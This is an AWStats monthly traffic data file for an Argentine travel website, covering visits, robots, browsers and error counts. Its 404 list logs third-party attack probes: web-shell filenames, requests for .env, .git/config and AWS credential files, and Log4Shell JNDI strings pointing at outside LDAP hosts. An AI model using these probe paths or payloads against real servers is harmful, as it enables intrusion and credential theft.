Current File : /home/aventura/tmp/awstats/ssl/awstats102023.aventuramagica.com.ar.txt
AWSTATS DATA FILE 7.8 (build 20200416)
# If you remove this file, all statistics for date 202310 will be lost/reset.
# Last config file used to build this data file was /home/aventura/tmp/awstats/ssl/awstats.aventuramagica.com.ar.conf.

# Position (offset in bytes) in this file for beginning of each section for
# direct I/O access. If you made changes somewhere in this file, you should
# also remove completely the MAP section (AWStats will rewrite it at next
# update).
BEGIN_MAP 28
POS_GENERAL 2022                
POS_TIME 2694                
POS_VISITOR 28952               
POS_DAY 47847               
POS_DOMAIN 3608                
POS_LOGIN 4573                
POS_ROBOT 4728                
POS_WORMS 5816                
POS_EMAILSENDER 5947                
POS_EMAILRECEIVER 6090                
POS_SESSION 48709               
POS_SIDER 48920               
POS_FILETYPES 6225                
POS_DOWNLOADS 6528                
POS_OS 6644                
POS_BROWSER 7169                
POS_SCREENSIZE 10020               
POS_UNKNOWNREFERER 10094               
POS_UNKNOWNREFERERBROWSER 11129               
POS_ORIGIN 11836               
POS_SEREFERRALS 11981               
POS_PAGEREFS 12196               
POS_SEARCHWORDS 12474               
POS_KEYWORDS 12626               
POS_MISC 2356                
POS_ERRORS 12685               
POS_CLUSTER 4429                
POS_SIDER_404 12867               
END_MAP

# LastLine    = Date of last record processed - Last record line number in last log - Last record offset in last log - Last record signature value
# FirstTime   = Date of first visit for history file
# LastTime    = Date of last visit for history file
# LastUpdate  = Date of last update - Nb of parsed records - Nb of parsed old records - Nb of parsed new records - Nb of parsed corrupted - Nb of parsed dropped
# TotalVisits = Number of visits
# TotalUnique = Number of unique visitors
# MonthHostsKnown   = Number of hosts known
# MonthHostsUnKnown = Number of hosts unknown
BEGIN_GENERAL 8
LastLine 20231101000219 292 55373 11303089360776
FirstTime 0
LastTime 20231031230334
LastUpdate 20231101091216 292 0 226 64 1
TotalVisits 742                 
TotalUnique 470                 
MonthHostsKnown 0                   
MonthHostsUnknown 489                 
END_GENERAL

# Misc ID - Pages - Hits - Bandwidth
BEGIN_MISC 10
JavascriptDisabled 0 0 0
JavaEnabled 0 0 0
AddToFavourites 0 171 0
PDFSupport 0 0 0
TotalMisc 0 0 0
DirectorSupport 0 0 0
RealPlayerSupport 0 0 0
QuickTimeSupport 0 0 0
FlashSupport 0 0 0
WindowsMediaPlayerSupport 0 0 0
END_MISC

# Hour - Pages - Hits - Bandwidth - Not viewed Pages - Not viewed Hits - Not viewed Bandwidth
BEGIN_TIME 24
0 37 91 7905268 173 203 272910
1 1261 1314 5757711 268 317 481308
2 50 54 436160 89 117 468083
3 50 51 1128114 128 156 349079
4 59 69 855438 143 181 352779
5 22 23 79550 93 133 296572
6 40 77 3614953 179 259 1546752
7 44 48 806337 119 160 613754
8 92 208 20451684 127 162 903579
9 60 185 12567458 137 170 267403
10 62 104 3725734 131 158 484387
11 51 121 8764934 153 180 245312
12 64 168 13901961 154 245 4689356
13 47 192 13186646 130 151 2440552
14 97 338 30565581 136 174 330114
15 62 185 11353093 100 114 258691
16 51 133 7987717 92 126 113249
17 36 106 7741823 105 134 589748
18 198 589 56149928 120 200 4083440
19 70 105 4182041 166 217 1467119
20 55 152 13243828 144 177 1250293
21 81 325 29150210 218 243 193050
22 105 111 512617 118 154 308108
23 68 214 14636228 135 173 688611
END_TIME

# Domain - Pages - Hits - Bandwidth
# The 25 first Pages must be first (order not required for others)
BEGIN_DOMAIN 53
in 1275 1373 15478919
us 697 1068 39117954
ar 206 1621 180871525
ru 158 165 1229745
nl 63 63 95832
gb 53 69 1621805
ca 29 29 918525
de 27 27 373871
cn 22 89 5144092
ma 18 150 12393239
se 15 15 150532
be 15 19 593375
zz 14 14 46467
vn 13 13 42594
ua 12 12 423502
ro 11 45 3683003
th 11 11 38499
cl 11 11 214328
id 9 9 33129
es 8 8 71738
br 8 8 28983
nz 5 35 3141603
sc 5 5 35082
hu 5 5 2075
ir 5 5 69958
co 0 1 53634
ch 3 3 1468
md 1 1 415
eu 2 2 165284
bo 2 2 7284
pk 4 4 15525
fi 3 3 1245
fr 3 3 83516
pe 1 1 3138
ng 3 3 49344
sa 3 3 115866
ao 1 2 23043
cz 3 3 22477
pa 2 2 830
bd 4 29 2200693
ph 1 1 3138
it 4 4 1660
ae 4 4 27828
rs 1 1 3138
is 3 3 1245
bg 1 1 415
pl 2 2 32896
tr 3 3 1245
at 4 4 1883
kw 1 1 3138
hk 1 1 415
mx 3 3 10371
np 4 4 53505
END_DOMAIN

# Cluster ID - Pages - Hits - Bandwidth
BEGIN_CLUSTER 0
END_CLUSTER

# Login - Pages - Hits - Bandwidth - Last visit
# The 10 first Pages must be first (order not required for others)
BEGIN_LOGIN 0
END_LOGIN

# Robot ID - Hits - Bandwidth - Last visit - Hits on robots.txt
# The 25 first Hits must be first (order not required for others)
BEGIN_ROBOT 25
no_user_agent 189 1074737 20231031224800 86
Googlebot/ 130 3145717 20231031142453 9
MJ12bot/ 74 620190 20231031055148 33
bingbot/ 62 2259586 20231031084541 9
(firefox/)([0-9]\.|[0-1][0]\.) 52 4137978 20231031065136 0
unknown 49 6732 20231031212254 49
Konqueror/ 45 3580187 20231004124710 0
BLEXBot/ 26 268033 20231028111133 6
bot[\s_+:,\.\;\/\\-] 20 57860 20231031062748 15
Go\-http\-client/ 17 247347 20231029123952 1
spider 17 611881 20231015205645 1
facebookexternalhit/ 16 1102175 20231028205725 0
SemrushBot/ 16 82429 20231027191306 9
Applebot/ 8 63681 20231029072932 4
Barkrowler 7 67876 20231013080156 2
Velen 6 71132 20231027154903 0
seek 6 283915 20231024134505 1
Googlebot\-Image/ 5 583825 20231016050408 0
curl 4 182000 20231016024113 1
php 3 33262 20231029101830 0
Apache\-HttpClient/ 2 33171 20231006201807 0
AhrefsBot/ 1 128 20231012142216 1
Firefox/1\.5 1 24462 20231018091238 0
link 1 16443 20231020191820 0
crawl 1 16448 20231027215003 0
END_ROBOT

# Worm ID - Hits - Bandwidth - Last visit
# The 5 first Hits must be first (order not required for others)
BEGIN_WORMS 0
END_WORMS

# EMail - Hits - Bandwidth - Last visit
# The 20 first Hits must be first (order not required for others)
BEGIN_EMAILSENDER 0
END_EMAILSENDER

# EMail - Hits - Bandwidth - Last visit
# The 20 first hits must be first (order not required for others)
BEGIN_EMAILRECEIVER 0
END_EMAILRECEIVER

# Files type - Hits - Bandwidth - Bandwidth without compression - Bandwidth after compression
BEGIN_FILETYPES 12
woff2 50 3728351 0 0
gif 97 1366176 0 0
Unknown 105 38434 0 0
js 597 15692695 0 0
php 2079 1407888 0 0
css 73 9367741 0 0
txt 1 1356 0 0
xml 8 5171 0 0
jpg 1033 175594444 0 0
html 469 10938185 0 0
woff 51 1372952 0 0
png 400 49191621 0 0
END_FILETYPES

# Downloads - Hits - Bandwidth
BEGIN_DOWNLOADS 2
/sitemap.xml.gz 2 0 528
/site//wp-includes/ID3/license.txt 1 0 1356
END_DOWNLOADS

# OS ID - Hits
BEGIN_OS ID - Hits - Pages 32
androidcupcake 1 1
androidnougat 24 12
macosx14 1 1
macosx12 1 1
macosx 50 20
androidmarshmallow 41 4
winxp 18 18
winvista 1 1
ios_iphone 296 35
win8.1 21 21
win8 5 5
androidoreo 35 5
win2000 1 1
winunknown 45 4
macosx7 11 11
linuxubuntu 94 29
unix 1 1
android10 611 81
win98 1 1
win7 153 106
winlong 3 3
macosx11 35 35
macosx15 40 19
android 123 19
winnt 10 10
win10 2747 1855
linux 157 85
macosx13 6 6
bsdfreebsd 1 1
macosx4 1 1
macosx9 3 3
Unknown 426 367
END_OS

# Browser ID - Hits - Pages
BEGIN_BROWSER 139
safari15.5 1 1
opera102.0.0.0 5 5
chrome112.0.0.0 4 4
chrome60.0.3112.90 15 15
chrome103.0.5060.114 9 9
chrome85.0.4183.102 3 3
chrome79.0.3945.130 21 21
firefox18.0 1 1
httrack 1 1
chrome114.0.0.0 25 18
chrome80.0.3987.106 1 1
chrome68.0.3440.106 5 5
chrome105.0.0.0 9 9
safari9.1.2 10 10
safari6.1.6 5 5
chrome61.0.3163.79 8 8
chrome110.0.0.0 2 2
chrome17.0.963.56 7 7
safari13.1 1 1
chrome74.0.3729.169 13 13
firefox45.51.08 1 1
chrome38.0.2125.111 1 1
chrome67.0.3396.99 3 3
chrome83.0.4103.97 7 7
iphone 109 12
edge15 1 1
chrome70.0.3538.77 5 5
chrome66.0.3359.117 4 4
firefox52.0 5 5
safari13.1.2 1 1
firefox68.0 14 1
chrome60.0.3112.107 5 5
firefox99.0 10 10
chrome116.0.0.0 12 12
chrome5.0.375.99 3 3
chrome85.0.4183.121 8 8
firefox25.0 1 1
chrome80.0.3987.87 10 10
chrome100.0.4896.127 31 31
chrome113.0.0.0 1 1
chrome58.0.3029.110 1 1
chrome87.0.4280.141 50 9
chrome91.0.4472.114 4 4
chrome107.0.0.0 21 0
firefox28.0 2 2
chrome59.0.3071.125 19 7
chrome81.0.4044.138 17 17
netscape5.0 1 1
chrome103.0.5060.71 1 1
chrome57.5.0235.5963 1 1
firefox65.0 6 6
chrome86.0.4240.193 4 4
firefox104.0 1 1
safari9.0 2 2
opera42.9.4549.9277 1 1
edge34 1 1
safari17.0 41 4
chrome95.0.4638.69 1133 1132
chrome59.0.3071.104 12 12
chrome103.0.5060.134 3 3
firefox83.0 3 3
chrome196.3.1597.530 1 1
firefox58.0 1 1
safari15.4 3 3
chrome76.0.3809.132 5 5
chrome110.0.5478.0 50 8
chrome88.0.4324.104 15 15
firefox38.0 1 1
arora 1 1
chrome117.0.0.0 1049 170
chrome99.0.4844.84 23 23
firefox62.0 5 5
firefox29.0 1 1
chrome87.0.4280.88 37 7
mozilla 22 22
chrome100.0.4758.11 38 38
firefox24.0 5 5
chrome106.0.0.0 6 6
Unknown 363 345
firefox117.0 7 7
firefox35.0 2 2
chrome103.0.0.0 21 21
safari13.0.5 1 1
firefox72.0 5 0
msie6.0 2 2
chrome96.0.4664.110 3 3
safari12.1.2 1 1
chrome74.0.3729.131 5 5
safari4.6.1 2 2
msie10.6 45 4
safari16.6 4 4
firefox114.0 73 13
safari11.1.2 15 15
chrome100.0.4895.86 37 37
chrome55.1.5098.0726 1 1
chrome78.0.3904.108 236 236
chrome44.0.2403.157 5 5
opera89.0.4447.51 10 10
chrome74.0.3729.157 11 11
chrome84.0.4147.105 2 2
chrome57.0.2987.133 1 1
firefox45.68.15 1 1
chrome86.0.4239.0 41 4
chrome91.0.4472.124 10 10
safari9.0.3 5 5
safari 91 9
chrome64.0.3282.167 1 1
firefox57.0 1 1
chrome60.0.3112.113 8 8
chrome80.0.3987.132 32 2
chrome109.0.0.0 67 10
chrome79.0.3945.88 2 2
chrome118.0.0.0 602 79
chrome41.0.2225.0 1 1
firefox51.0 1 1
chrome94.0.4606.61 4 4
msie9.0 1 1
safari16.1 50 5
chrome101.0.4951.67 24 24
chrome95.0.4638.54 1 1
edge36 1 1
firefox73.0 2 2
chrome33.0.1750.152 2 2
firefox118.0 43 9
safari7.0 1 1
chrome103.0.5060.66 6 6
opera9.51 45 4
chrome49.0.2623.112 8 2
edge17 10 10
android 1 1
firefox105.0 1 1
chrome45.0.2454.93 1 1
safari11.0.3 2 2
chrome10.0.613.0 1 1
safari11.0 45 4
firefox106.0 1 1
chrome90.0.4430.212 6 5
edge18 25 25
chrome102.0.0.0 2 2
END_BROWSER

# Screen size - Hits
BEGIN_SCREENSIZE 0
END_SCREENSIZE

# Unknown referer OS - Last visit date
BEGIN_UNKNOWNREFERER 16
python-requests/2.22.0 20231018043354
Mozilla/5.0_(compatible;_ips-agent) 20231019205330
WordPress/4.9.24;_http://www.aventuramagica.com.ar/site 20231031124708
python-requests/2.26.0 20231010041516
python-requests/2.28.1 20231010235902
python-requests/2.25.1 20231031230425
WordPress/4.9.24;_https://www.aventuramagica.com.ar/site 20231031230335
WordPress/4.9.22;_https://www.aventuramagica.com.ar/site 20231002182329
Mozilla/5.0_Firefox/35.0 20231026083144
python-requests/2.31.0 20231021194522
Mozilla/5.0_(MeeGo;_NokiaN950-00/00)_AppleWebKit/534.13_(KHTML,_like_Gecko)_NokiaBrowser/8.5.0_Mobile_Safari/534.13 20231009151247
Mozilla/5.0_(compatible;_InternetMeasurement/1.0;__https://internet-measurement.com/) 20231030130503
WordPress/4.9.23;_https://www.aventuramagica.com.ar/site 20231012194615
python-requests/2.27.1 20231016183734
python-requests/2.24.0 20231026040441
WordPress/4.9.23;_http://www.aventuramagica.com.ar/site 20231012212252
END_UNKNOWNREFERER

# Unknown referer Browser - Last visit date
BEGIN_UNKNOWNREFERERBROWSER 12
WordPress/4.9.23;_http://www.aventuramagica.com.ar/site 20231012212252
python-requests/2.27.1 20231016183734
python-requests/2.24.0 20231026040441
WordPress/4.9.23;_https://www.aventuramagica.com.ar/site 20231012194615
WordPress/4.9.24;_https://www.aventuramagica.com.ar/site 20231031230335
python-requests/2.25.1 20231031230425
python-requests/2.31.0 20231021194522
WordPress/4.9.22;_https://www.aventuramagica.com.ar/site 20231002182329
python-requests/2.22.0 20231018043354
python-requests/2.28.1 20231010235902
python-requests/2.26.0 20231010041516
WordPress/4.9.24;_http://www.aventuramagica.com.ar/site 20231031124708
END_UNKNOWNREFERERBROWSER

# Origin - Pages - Hits 
BEGIN_ORIGIN 6
From0 1963 2020
From1 6 6
From2 11 12
From3 39 39
From4 743 2886
From5 0 0
END_ORIGIN

# Search engine referers ID - Pages - Hits
BEGIN_SEREFERRALS 3
images_search_yahoo_catchall 0 1
www_bing_com 1 1
www_google_com 10 10
END_SEREFERRALS

# External page referers - Pages - Hits
# The 25 first Pages must be first (order not required for others)
BEGIN_PAGEREFS 4
http://www.turismodecastro.tur.ar 27 27
https://66.97.34.202 10 10
http://www.gumbo.com 1 1
http://www.turismodecastro.tur.ar 1 1
END_PAGEREFS

# Search keyphrases - Number of search
# The 10 first number of search must be first (order not required for others)
BEGIN_SEARCHWORDS 0
END_SEARCHWORDS

# Search keywords - Number of search
# The 25 first number of search must be first (order not required for others)
BEGIN_KEYWORDS 0
END_KEYWORDS

# Errors - Hits - Bandwidth
BEGIN_ERRORS 8
404 1438 1510039
421 157 50554
500 10 2510
301 355 80709
206 6 1805366
302 888 476754
401 4 472
403 507 0
END_ERRORS

# URL with 404 errors - Hits - Last URL referrer
BEGIN_SIDER_404 494
/api/stats 1 -
/webadmin/about.php 1 www.google.com
/xmlrpc.php 6 -
/dana-na/auth/url_default/welcome.cgi 1 -
/aventuramagica_02012022.tar 1 -
/wsoyanzorng.php 1 www.google.com
/guacamole/ 1 -
/about 3 -
/Remote 2 -
/favicon-32x32.png 1 -
/wp-content/plugins/essential-addons-for-elementor-lite/readme.txt 3 -
/cgi-bin.zip 1 -
/x.php 1 www.google.com
/wp-content/themes/mero-megazines/ws.php 1 -
/wp-content/plugins/classic-editor/wp-login.php 1 -
/admin.zip 1 -
/site/la-aventura/%20https:/twitter.com/aventuramagica 1 https://www.aventuramagica.com.ar/site/la-aventura/
/test.php 1 -
/actuator/env 1 -
/site/wp-json/wp/v2/users/5 4 https://www.aventuramagica.com.ar/site/
/new 1 -
/mini.php 1 www.google.com
/wp-content/plugins/wp-responsive-slider-with-lightbox/readme.txt 1 -
/api/v1/charts 2 -
/ 1 -
/autodiscover/autodiscover%20/ 2 -
/wp-admin/xl2023.php 1 www.google.com
/site/contacto/%20https:/twitter.com/aventuramagica 1 https://www.aventuramagica.com.ar/site/contacto/
/wp-class.php 1 www.google.com
/aventuramagica_12012022.tar 1 -
/video.html 2 -
//www.instagram.com/embed.js 6 -
/query 12 -
/WuEL 1 -
/site/wp-content/plugins/wordapp/README.txt 1 -
/fw.php 1 www.google.com
/wp-content/themes/classic/inc/index.php 1 www.google.com
/info.php 2 -
/HNAP1 3 -
/wp.php 1 www.google.com
/aventuramagica_31012022.tar 1 -
/admin/config.php 4 -
/wp-content/plugins/royal-elementor-addons/assets/css/frontend.min.css 3 -
/mt/pekok.php 1 www.google.com
/xl2023.php 1 www.google.com
/aventuramagica_05012022.tar 1 -
/baikap.zip 1 -
/wp-content/plugins/user-submitted-posts/readme.txt 1 -
/c.php 1 www.google.com
/site/wp-json/wp/v2/users/4 4 https://www.aventuramagica.com.ar/site/
/site/_ignition/execute-solution 1 -
/2pDw 1 -
/logon/LogonPoint/custom.html 2 -
/wp-content/uploads/ac_assets/IndoSec.php 1 www.google.com
/web/index.html 2 -
/Res/login.html 5 -
/version 11 -
/wp-includes/wp-class.php 1 www.google.com
/3index.php 1 www.google.com
/site/wp-content/plugins/canto/readme.txt 1 -
/2index.php 1 www.google.com
/admin/ 1 -
/ReportServer 5 -
/c/msdownload/update/software/update/2021/11/6632de33-967441-x86.cab 4 -
/doc/page/login.asp 2 -
/wp-includes/widgets/include.php 2 www.google.com
/wp-content/plugins/chatbot/readme.txt 1 -
/up.php 1 www.google.com
/ews/ews/ 3 -
/ab2g 5 -
/aventuramagica_18012022.tar 1 -
/auth1.html 2 -
/aventuramagica_06012022.tar 1 -
/.well-known/acme-challenge/license.php 1 -
/frontend_dev.php/$ 1 -
/actuator/gateway/routes 27 -
/2.0/gui/ 2 -
/npclient.html 2 -
/e3e7e71a0b28b5e96cc492e636722f73/4sVKAOvu3D/BDyot0NxyG.php 2 -
/aventuramagica_20012022.tar 1 -
/v2/_catalog 3 -
/owa/auth/x.js 12 -
/autodiscover/autodiscovers/ 2 -
/wp-content/plugins/seoplugins/mar.php 1 www.google.com
/gank.php.PhP 1 www.google.com
/site/wp-content/plugins/profile-builder/readme.txt 1 -
/aventuramagica_15012022.tar 1 -
/app_dev.php/_profiler/open 1 -
/.well-known/security.txt 86 -
/RDWeb 2 -
/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application 22 -
/laravel-filemanager/download 1 -
/qd.CHM 2 -
/login.action 3 -
/site/dia-a-dia/%20https:/twitter.com/aventuramagica 1 https://www.aventuramagica.com.ar/site/dia-a-dia/
/aventuramagica_08012022.tar 1 -
/mPlayer 1 -
/.vscode/sftp.json 3 -
/shell.php 1 www.google.com
/aventuramagica.zip 1 -
/aventuramagica_28012022.tar 1 -
/wp-config.php-backup 1 -
/site/wp-content/plugins/royal-elementor-addons/readme.txt 2 -
/aventuramagica_19012022.tar 1 -
//.env 2 -
/wp-content/index.php 1 www.google.com
/admin/.env 1 -
/RDWeb/Pages/en-US/login.aspx 3 -
/tokenlite_app/.env 1 -
/woh.php 6 www.google.com
/+CSCOE+/logon.html 7 -
/Login.html 2 -
/jquery-3.3.1.slim.min.js 1 -
/wp-includes/ID3/vp.php 1 www.google.com
/1696632356 1 -
/login 9 -
/wp-content/themes/twentytwentyone/inc/block-css.php 1 -
/ews/exchange%20/ 2 -
/4index.php 1 www.google.com
/users/sign_in 2 -
/wp-admin/406.php 1 www.google.com
/.well-known/pki-validation/atomlib.php 1 www.google.com
/cgi-bin/config.exp 1 -
/site/wp-content/plugins/leyka/README.txt 1 -
/site/conocenos/%20https:/twitter.com/aventuramagica 1 https://www.aventuramagica.com.ar/site/conocenos/
/wp-json/tdw/save_css 3 -
/Display/chan/IB61I7MYA 2 -
/nmaplowercheck1697498740 1 -
/wp-content/xl2023.php 1 www.google.com
/wp-content/themes/sketch/404.php 1 www.google.com
/static/historypage.js 1 -
/WebViewer.html 2 -
/aventuramagica_21012022.tar 1 -
/wp-content/wso.php 1 www.google.com
/.well-known/acme-challenge/atomlib.php 1 www.google.com
/viwwwsogou 2 -
/wp-content/fw.php 1 www.google.com
/_fragment 2 -
/new/login 2 -
/site/wp-content/plugins/quadmenu/readme.txt 1 -
/RDWeb/Pages/ 1 -
/aventuramagica_02022022.tar 1 -
/Electron/download/windows/%5CProgram%20Files%5C3CX%20Phone%20System%5CData%5CDB%5Cbase%5C16384%5C16393 5 -
/aab8 1 -
/.DS_Store 3 -
/404.php 1 www.google.com
/site/wp-content/plugins/miniorange-login-openid/readme.txt 1 -
/wp-content/themes/Newspaper/404.php 6 -
/jquery-3.3.1.min.js 4 -
/aventuramagica_11022022.tar 1 -
/wp-admin/admin-post.php 1 -
/remote/fgt_lang 3 -
/a.php 1 www.google.com
/wp-content/plugins/core-stab/index.php 2 www.google.com
/owa/auth.owa 1 -
/wp-content/plugins/booking-package/readme.txt 1 -
/ab2h 5 -
/wp-admin/shell20211028.php 1 www.google.com
/_ignition/execute-solution 1 -
/index.html 1 -
/wp-content/plugins/royal-elementor-addons/readme.txt 5 -
/wp-content/uploads/wp-logout.php 1 www.google.com
/_profiler/phpinfo 9 -
/aventuramagica_22012022.tar 1 -
/global-protect/login.esp 4 -
/aventuramagica_08022022.tar 1 -
/autodiscover/autodiscover.json 28 -
/chosen.php 2 www.google.com
/Temporary_Listen_Addresses/ 3 -
/wp-includes/xl2023.php 1 www.google.com
/horizon/api/stats 1 -
/1index.php 1 www.google.com
/simple.php 2 -
/wp-admin/css/colors/coffee/index.php 1 -
/3zy6 1 -
/Gmail/UnityPlayer.txt 2 -
/wp-includes/js/tinymce/skins/lightgray/img/index.php 2 www.google.com
/rezervnoe.zip 1 -
/site/wp-content/plugins/simple-file-list/readme.txt 1 -
/epa/scripts/win/nsepa_setup.exe 1 -
/solr/ 1 -
/wp-content/plugins/royal-elementor-addons/assets/js/frontend.js 15 www.google.com
/portal 2 -
/aventuramagica_18022022.tar 1 -
/remote/login 13 -
/hrsgdsb7386wknzms.jpg 2 -
/CACHE/sdesktop/data.xml 1 -
/wp-json/wp/v2/users/1 1 -
/aventuramagica_13022022.tar 1 -
/sitemap_index.xml 2 -
/wp-content/plugins/wp-post-author/readme.txt 1 -
/aventuramagica_14012022.tar 1 -
/wp-content/plugins/include.php 1 -
//wp-content/plugins/fix/up.php 1 -
/.env 90 -
/sugar_version.json 1 -
/shell20211028.php 2 www.google.com
/httpdocs.zip 1 -
/99vt 5 -
/Visu/ens/events 4 -
/wp-admin/includes/logs.php 1 www.google.com
/aab9 1 -
/aventuramagica_26012022.tar 1 -
/showLogin.cc 9 -
/wsman 2 -
/dana-cached/hc/HostCheckerInstaller.osx 2 -
/wp-content/themes/seotheme/db.php 9 www.google.com
/_all_dbs 3 -
/wso112233.php 1 www.google.com
/api/attach 2 -
/phpinfo/ 1 -
/NPClient.html 4 -
/PSIA/index 1 https://66.97.34.202:443/
/site/wp-content/plugins/wp-responsive-slider-with-lightbox/readme.txt 1 -
/wp-content/themes/signify/firkon.php 1 -
/geoserver/web/ 25 -
/owa/auth/errorFE.aspx 2 -
/wp-content/themes/Newspaper/404.php/wp-content/themes/Newspaper/404.php 1 -
/aventuramagica_03012022.tar 1 -
/login.html 3 -
/wp-content/plugins/quadmenu/readme.txt 1 -
/aventuramagica_05022022.tar 1 -
/Public/home/js/check.js 5 -
/aventuramagica_13012022.tar 1 -
/aventuramagica_09012022.tar 1 -
/defaul1.php 1 -
/api/library/ 1 -
/wp-content/plugins/WordPressCore/include.php 5 www.google.com
/aventuramagica_10012022.tar 1 -
/wp-content/themes/twentyfive/include.php 1 www.google.com
/wp-includes/Requests/Text/index.php 1 -
/Telerik.Web.UI.WebResource.axd 1 -
/docs/_sidebar.md 1 -
/is-bin 4 -
/t4 5 -
/403.php 1 www.google.com
/locales.php 2 www.google.com
/6index.php 1 www.google.com
/api/.env 6 -
/aventuramagica_04022022.tar 1 -
/wp-content/plugins/woocommerce-payments/readme.txt 1 -
/radio.php 2 www.google.com
/edit-form.php 1 www.google.com
/wp-admin/images.php 1 www.google.com
/upload.php 1 www.google.com
/wp-admin/admin-ajax.php 8 -
/site/wp-content/plugins/ninja-forms/readme.txt 1 -
/wp-info.php 1 www.google.com
/wp-content/plugins/miniorange-login-openid/readme.txt 1 -
/staff 1 -
/env 1 -
/archive.zip 1 -
/wp-content/406.php 1 www.google.com
/cluster/list.query 1 -
/api/v2/cmdb/system/admin/admin 3 -
/wp-json/tdw/ 9 -
/wp-content/plugins/canto/readme.txt 1 -
/new/.env 1 -
/nf_tracking.php 8 -
/.aws/credentials 3 -
/wp-content/plugins/ninja-forms/readme.txt 1 -
/ccx/index.php 1 www.google.com
/sslvpnLogin.html 2 -
/dqgqoeCXckuwPtxov 2 -
/wp-admin.zip 1 -
/wp-content/themes/pridmag/db.php 1 www.google.com
/ui 2 -
/wp-content/plugins/ccx/index.php 1 www.google.com
/login/ 2 -
/wikindex.php 1 www.google.com
/dasdasd 2 -
/wp-content/plugins/wp-job-portal/readme.txt 1 -
/sendgrid.env 1 -
/wp-json/wp/v2/users/ 1 -
/aventuramagica_09022022.tar 1 -
/aaaaaaaaaaaaaaaaaaaaaaaaaqr 5 -
/.well-known.zip 1 -
/feed/ 2 http://www.gumbo.com/
/download/file.ext 1 -
/manager/html 2 -
/aventuramagica_30012022.tar 1 -
/wp-admin/wso.php 1 www.google.com
/jquery-3.3.2.slim.min.js 1 -
/aventuramagica_04012022.tar 1 -
/wp-content/plugins/leyka/README.txt 1 -
/doc/script/lib/seajs/config/sea-config.js 1 -
/ads.txt 3 -
/wp-content/plugins/press/wp-class.php 1 -
/api/opinion/index 1 -
/s3cmd.ini 1 -
/wp-content/plugins/wordapp/README.txt 1 -
/doc.php 1 www.google.com
/complete-order/ 3 -
/site/wp-content/plugins/woocommerce-ninjaforms-product-addons/readme.txt 1 -
/index.jsp 1 -
/api/sonicos/tfa 2 -
/evox/about 2 -
/aventuramagica_17012022.tar 1 -
/site/wp-content/plugins/booking-package/readme.txt 1 -
/wp-content/themes/wp-classic/inc/index.php 1 -
/Teporary_Listen_Addresses/ 1 -
/wp-content/plugins/mstore-api/readme.txt 2 -
/wp-content/themes/mero-magazine/ws.php 1 www.google.com
/wh/glass.php 2 -
/laravel-filemanager 1 -
/wp-content/RxRagjjd.php 1 -
/1975.php 1 -
/oNo0 1 -
/webfig/ 1 -
/ews/exchange/ 3 -
/ews/autodiscovers/ 3 -
/wp-includes/images/include.php 35 -
/tos 1 -
/wp-content/themes/intense/block-css.php 5 www.google.com
/wp-admin/wso112233.php 1 www.google.com
/1.php 1 www.google.com
/wp-content/plugins/online-accessibility/README.txt 1 -
/wp-includes/widgets/class-wp-widget-index.php 1 www.google.com
/rpc/ 1 -
/webui/logoutconfirm.html 10 -
/jquery.js 2 -
/_ignition/share-report 1 -
/dns-query 26 -
/lock360.php 1 www.google.com
/${jndi:ldap://93.95.216.134:1389/Exploit} 5 -
/${jndi:ldap://196.21.83.146:1389/Exploit} 2 -
/AHT/AHT_UI/public/index.html 1 -
/aventuramagica_16022022.tar 1 -
/phpminiadmin.php 1 -
/app/config/parameters.yml 1 -
/logon/LogonPoint/index.html 2 -
/api/v1 2 -
/.well-known/tdmrep.json 4 -
/api/v2/cmdb/system/admin 1 -
/aventuramagica_07012022.tar 1 -
/ews/exchanges/ 2 -
/Temporary_Listen_Addresses 2 -
/api/sonicos/auth 2 -
/login.cs 2 -
/wp-content/shell20211028.php 1 www.google.com
/s/230323e24333e27393e26363/_/ 3 -
/aventuramagica_16012022.tar 1 -
/aventuramagica_12022022.tar 1 -
/old/.env 1 -
/wp-admin/x.php 3 www.google.com
/respaldo.zip 1 -
/Sq7a 1 -
/.Wp-back.phP 1 www.google.com
/wp-content/plugins/envato-market/inc/class-envato-market-api.php 1 -
/8.bin 2 -
/wp-content/plugins/sid/sidwso.php 1 www.google.com
/wp-content/plugins/woocommerce-ninjaforms-product-addons/readme.txt 1 -
/vpn/index.html 37 -
/aventuramagica_15022022.tar 1 -
/application/.env 1 -
/wp-content/wso112233.php 1 www.google.com
/.gitlab-ci.yml 1 -
/.git/config 57 -
